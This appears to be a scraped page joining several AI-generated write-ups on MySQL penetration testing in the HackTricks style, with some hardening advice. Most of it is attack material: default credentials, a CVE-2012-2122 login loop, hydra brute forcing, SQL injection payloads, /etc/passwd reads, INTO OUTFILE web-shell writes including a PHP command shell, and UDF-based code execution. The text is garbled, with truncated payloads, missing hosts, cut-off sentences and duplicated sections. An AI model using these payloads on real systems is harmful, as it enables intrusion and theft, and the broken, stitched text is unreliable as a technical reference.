Mysql Hacktricks Verified -
MySQL Security Exploitation and Hardening: The Definitive HackTricks Guide MySQL remains one of the most widely deployed relational database management systems in the world. Because it frequently handles sensitive authentication data, financial records, and proprietary business logic, it is a prime target for penetration testers and malicious actors alike. This comprehensive guide compiles verified methodologies, advanced exploitation vectors, and robust hardening strategies inspired by the HackTricks methodology. 1. Initial Reconnaissance and Enumeration Before attempting any active exploitation, you must gather as much intelligence about the target MySQL instance as possible. Port Scanning and Service Detection By default, MySQL listens on TCP port 3306 . However, obfuscated environments might host it on alternative ports (e.g., 33060 for MySQL X Protocol). Use Nmap to verify the service version and run default enumeration scripts: nmap -sV -sC -p 3306 Use code with caution. Banner Grabbing Connecting directly to the port can reveal the exact patch version, which is critical for identifying known CVEs. nc -nv 3306 telnet 3306 Use code with caution. Enumeration via Auxiliary Modules If you are utilizing Metasploit, several auxiliary modules can streamline the discovery process: auxiliary/scanner/mysql/mysql_version : Identifies the precise version. auxiliary/scanner/mysql/mysql_auth_bypass_hashdump : Checks for specific historical authentication vulnerabilities. 2. Authentication Bypass and Brute Forcing Accessing the database layer directly provides the highest impact during an assessment. Default Credentials Administrative oversights often leave default accounts active. Common combinations include: root : [blank] root : root root : password anonymous : [blank] Automated Brute Forcing If password policies are weak, tools like hydra can rapidly test credential lists against the service: hydra -L usernames.txt -P passwords.txt mysql:// Use code with caution. The Historical CVE-2012-2122 Bypass In older, unpatched systems (MySQL/MariaDB around 2012), a subtle flaw in the memcmp validation allowed attackers to authenticate successfully by repeatedly trying any password. A simple Bash loop can exploit this timing/token flaw: for i in {1..500}; do mysql -h -u root -p"wrong_password" 2>/dev/null && break; done Use code with caution. 3. Advanced SQL Injection (SQLi) Exploitation When direct service access is blocked by firewalls, web applications interacting with MySQL frequently expose the database via SQL Injection. Union-Based Injection Used when the application reflects the query results directly on the page. Determine column count: ' ORDER BY 1-- - , ' ORDER BY 2-- - Find data types and reflections: ' UNION SELECT 1,2,3-- - Extract system context: ' UNION SELECT 1,version(),user()-- - Error-Based Injection When data reflection is disabled but database errors are printed to the screen, functions like EXTRACTVALUE or UPDATEXML can be leveraged to force an error containing data: ' AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT version())))-- - Use code with caution. Blind and Time-Based Injection When no data or errors are returned, inferences must be made using logical gates or delays. Boolean Blind: ' AND (SELECT 1 FROM dual W ' PAGE.php?id=1 AND SLEEP(5)-- - 4. File System Interactivity MySQL possesses built-in features to read and write files on the host operating system. These functions are heavily bound by the secure_file_priv system variable. Checking Privileges Before attempting file operations, check the status of your permissions: SHOW VARIABLES LIKE "secure_file_priv"; Use code with caution. If the result is blank , you can read and write files anywhere on the OS (subject to OS user permissions). If it lists a specific directory , operations are restricted solely to that path. If it returns NULL , all file import and export operations are entirely disabled. Reading Files via SQL If secure_file_priv permits, local files can be read using LOAD_FILE() : UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3-- - Use code with caution. Writing Files (Achieving RCE via Web Shell) If the database server shares a host with a web server and you know the absolute path of the web root, you can drop a web shell: UNION SELECT 1, ' ', 3 INTO OUTFILE '/var/www/html/shell.php'-- - Use code with caution. 5. Post-Exploitation and PrivEsc (UDF Exploitation) If you establish a direct high-privileged connection (such as root ) but are confined to the database context, User Defined Functions (UDF) can bridge the gap to full Operating System Remote Code Execution (RCE). The UDF Mechanics MySQL allows developers to extend its functionality by loading compiled C/C++ dynamic libraries ( .so on Linux, .dll on Windows). If an attacker can upload a malicious library file into the MySQL plugin directory, they can map OS system execution commands directly to SQL functions. Execution Steps Locate the plugin directory: SHOW VARIABLES LIKE 'plugin_dir'; Use code with caution. Write the binary payload: Transfer the compiled dynamic library payload (such as those provided by Metasploit or SQLmap) into that directory using the INTO OUTFILE methodology. Create the function wrapper: CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf_payload.so'; Use code with caution. Execute OS commands: SELECT sys_eval('id'); Use code with caution. 6. Defensive Hardening Best Practices Securing a MySQL instance requires a defense-in-depth posture addressing network, configuration, and application layers. Network Isolation Bind Address: Never expose MySQL to the public internet. Ensure /etc/mysql/my.cnf binds exclusively to localhost or an internal private VPC IP: bind-address = 127.0.0.1 Use code with caution. Firewalling: Drop all inbound traffic to port 3306 except from explicitly whitelisted application server IPs. Strict Configuration Adjustments Disable File Operations: Explicitly set secure_file_priv to NULL in your configuration file to prevent unauthorized file reads/writes. secure_file_priv = NULL Use code with caution. Disable Local Infile: Prevent clients from loading local files using: local_infile = 0 Use code with caution. Principle of Least Privilege (PoLP) Revoke Administrative Rights: Application database users should never run as root . Create specific users with restricted scopes: GRANT SELECT, INSERT, UPDATE ON web_db.* TO 'app_user'@'10.0.0.5'; Use code with caution. Rename or Lock Root: Ensure the default root account requires a complex password and cannot connect remotely. To advance our discussion on MySQL penetration testing and defenses, tell me: Are you auditing a Windows-based or Linux-based MySQL deployment? Do you have direct network access to port 3306, or are you exploiting it via web-app SQL injection ? What version of MySQL is running on the target environment? Share public link This public link is valid for 7 days and shares a thread, including any personal information you added. This link or copies made by others cannot be deleted. If you share with third parties, their policies apply. Can’t copy the link right now. Try again later.
Before attempting login, verify the service and its version to check for known vulnerabilities like CVE-2012-2122 (Authentication Bypass). Port Scanning: Default is Nmap Scripts: Use specialized scripts for automated discovery: nmap -sV -p --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012- Use code with caution. Copied to clipboard Metasploit Scanners: Tools like auxiliary/scanner/mysql/mysql_version can verify remote service details. HackTricks 2. Verified Authentication & Access If credentials are not known, verify for common weak configurations: Empty Passwords: Connect using mysql -u root (many default installs lack a root password). Hash Extraction: If local access is gained, extract credentials from files or via auxiliary/scanner/mysql/mysql_hashdump Host Spoofing: In some scenarios, manipulating DNS or host entries can redirect a victim's mysql-connector-j to an attacker-controlled server to trigger file reads or RCE. HackTricks 3. Exploitation & Post-Exploitation Once access is verified, the following high-impact techniques are documented for data exfiltration and privilege escalation: Arbitrary File Read (LOCAL INFILE): allowLoadLocalInfile=true is enabled, an attacker can read sensitive local files from the client machine. SQL Injection (SQLi) Techniques: Union-Based: Used when query output is visible to extract entire database structures. Blind/Time-Based: Used to confirm vulnerabilities when no data is directly returned by observing server response delays. RCE via Library: On Windows, it is possible to achieve Remote Code Execution by writing binary data into the plugin directory to create a User-Defined Function (UDF). Privilege Escalation: Verify current user permissions with: user,password,create_priv,insert_priv,update_priv mysql.user; ``` Use code with caution. Copied to clipboard HackTricks 4. Configuration Security Audit A report should verify the state of the following "dangerous" settings in mysqld.cnf secure_file_priv: If empty, it allows unrestricted file imports/exports. sql_warnings / debug: These can leak sensitive system information into logs. bind-address: Should ideally be set to to prevent unauthorized remote access. hacktricks.xsx.tw For a complete, interactive version of these steps, you can refer to the official HackTricks MySQL Pentesting Guide 3306 - Pentesting Mysql - HackTricks
Based on the search term, this refers to the specific methodology and techniques documented in HackTricks (a famous security wiki) regarding MySQL penetration testing, specifically focusing on the "Verified" status often seen in popular tools like SQLMap . Here is an informative feature on MySQL HackTricks Verified techniques, structured as a technical guide for security professionals.
Feature: The "Verified" MySQL Exploitation Framework Headline: Beyond the Query: A Deep Dive into Verified MySQL Exploitation Techniques Introduction In the realm of penetration testing, MySQL is one of the most ubiquitous database management systems. While basic SQL Injection focuses on extracting data, "Verified" techniques—often popularized by resources like HackTricks and tools like SQLMap—refer to a higher level of access: Moving from Data Extraction to System Control. This feature breaks down the "Verified" MySQL attack chain, explaining how attackers (and auditors) verify configurations to achieve Remote Code Execution (RCE) and system compromise. mysql hacktricks verified
1. The Concept of "Verified" in Enumeration When using automated tools like SQLMap, you may encounter the term "verified." This means the injection point has been confirmed as exploitable. However, in the context of HackTricks methodologies, "Verified" takes on a broader meaning: Verifying the Environment. The first step in advanced MySQL exploitation is not dumping passwords, but checking if the database is running with high privileges. Key Enumeration Queries:
Check User Privileges: SELECT * FROM mysql.user WHERE user = 'root';
Goal: Verify if the user has the FILE privilege or SUPER privilege. Without these, server-side attacks are usually impossible. INTO OUTFILE '
Check Secure File Privs: SHOW VARIABLES LIKE 'secure_file_priv';
The "Verified" Check: This variable dictates where MySQL can read/write files.
Empty Value: Read/Write allowed anywhere (Dangerous). Specific Path: Restricted to that folder. NULL: No read/write allowed (Secure configuration). Why it works:
2. The "Holy Grail": INTO OUTFILE and Webshells The most common "Verified" technique documented in HackTricks is writing a webshell to the server. This bridges the gap between the database layer and the web layer. The Mechanism: If secure_file_priv is disabled (empty), an attacker can use the SELECT ... INTO OUTFILE statement. The Payload: SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
Why it works: